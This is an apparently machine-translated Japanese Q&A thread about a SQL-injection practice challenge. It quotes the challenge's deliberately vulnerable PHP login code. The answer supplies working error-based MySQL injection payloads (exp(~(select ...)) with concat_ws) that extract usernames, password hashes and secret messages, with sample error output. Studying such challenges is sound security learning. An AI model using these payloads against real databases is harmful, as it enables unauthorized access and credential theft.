web-dev-qa-db-ja.com

このPHPフォームでのMD5 / Salt脆弱性の悪用?

私はセキュリティ関連の問題を実践してきましたが、この課題に戸惑いました。注:PHPソースコードにはアクセスできません。編集もできません。表示することしかできません。

以下が与えられます:

  1. 「ユーザー」と「パス」の2つの入力があります
  2. フォームが30回送信されると、塩、ハッシュ、最終的なソリューションが変わります。だからブルートフォースはオプションではありません(悲しいことに!)
  3. @ページの下部(なんらかの理由でコードに表示されていません)、それは9 users(getnumberofusers()関数を呼び出す)

なんとかこれを抽出できました:

ユーザー名= root

ハッシュされたパスワード= 551e18b35e17017742a8ce4ed27f626e

トークン(おそらくソルト?)= 0St31ez14wOT6jTh

これまでに試みた結果、失敗した結果:

  • SQLインジェクションを使用して、既知のMD5衝突をpasswordとして選択し、対応するものを "pass"として送信しますが、ソルトはこのプロセスを悩ませています。 30回の試行後に塩が変化するため、明らかに私はこれを総当たりすることができませんでした。
    • ユーザーのリスト全体を検索してみましたが、どこにも出力が印刷されません(エラーのみ)

これが私たちが受け取るコードです:

<?php
//by Mawekl
//Objective: login as root.
//Objective is NOT:
// - Blind SQLI
// - Bruteforce password/salt/id

#WARNING
#ANTI-BLIND
#for every 30 queries
#all hashes, salt
#and final solution
#will be reset.

function getnumberofusers()
{
    $q = "SELECT 1 FROM `sqlinjection1`";
    $r = mysql_query($q);
    return 'Number of users: '  . mysql_num_rows($r);
}

function getinfo($user)
{
    $q = "SELECT `id`, `password` FROM `sqlinjection1` WHERE `username`='$user'";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "Username doesn't exists.";
    return $r;
}

function getfullinfo($id)
{
    $q = "SELECT * FROM `sqlinjection1` WHERE `id`=$id";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "What the hell?!";
    return $r;
}

function confirmpassword($pass, $passcorrect, $salt)
{
    $pass = md5(md5(md5($pass)).$salt);
    return $pass===$passcorrect;
}

function challenge($user, $pass)
{
    $info = getinfo($user);
    if(!is_array($info))
        return $info;
    $confirm = confirmpassword($pass, $info['password'], $_ENV['ST_SALT']);
    if(!$confirm)
        return 'Wrong password!';
    $info = getfullinfo($info['id']);
    if(!is_array($info))
        return $info;
    $returnmessage = "Welcome " . $info['username'] . "!" . PHP_EOL .
    $info['welcomemessage'] . PHP_EOL;
    return $returnmessage;
}

?>

どんな助けでも感謝します、そしてあなたが質問をするならば、私は私の質問を明確にしたいと思います!

4
Tom

ソースコードから、_sqlinjection1_には4つの既知の列_username,password,welcomemessage,id_があることがわかります。

人々がcommnetsで指摘したように、エラーベースのSQLインジェクションを使用して、ユーザー名、パスワード、ウェルカムメッセージ、IDなどを取得できます。

Sqliのパラメーターの下に投稿

$ user = 1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 limit 1)a)) or '1'='1

$ pass = something

印刷されたエラーは

_'DOUBLE value is out of range in &#39;exp(~((select &#39;user1:pass1:secret message:1&#39; from dual)))&#39;
_

したがって、username = user1、password = pass1、welcomemessage = secret messageおよびid = 1

これで、次のユーザーのリストを取得できます

$ user = 1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 where username!='user1' limit 1)a)) or '1'='1

$ pass = something

他のユーザーについても同様に、where句を変更して実行します。

単一のユーザーに対して単一の列を選択することもできます。

$ user = 1' or exp(~(select * from (select welcomemessage from sqlinjection1 where username='user1')a)) or '1'='1

2
Sravan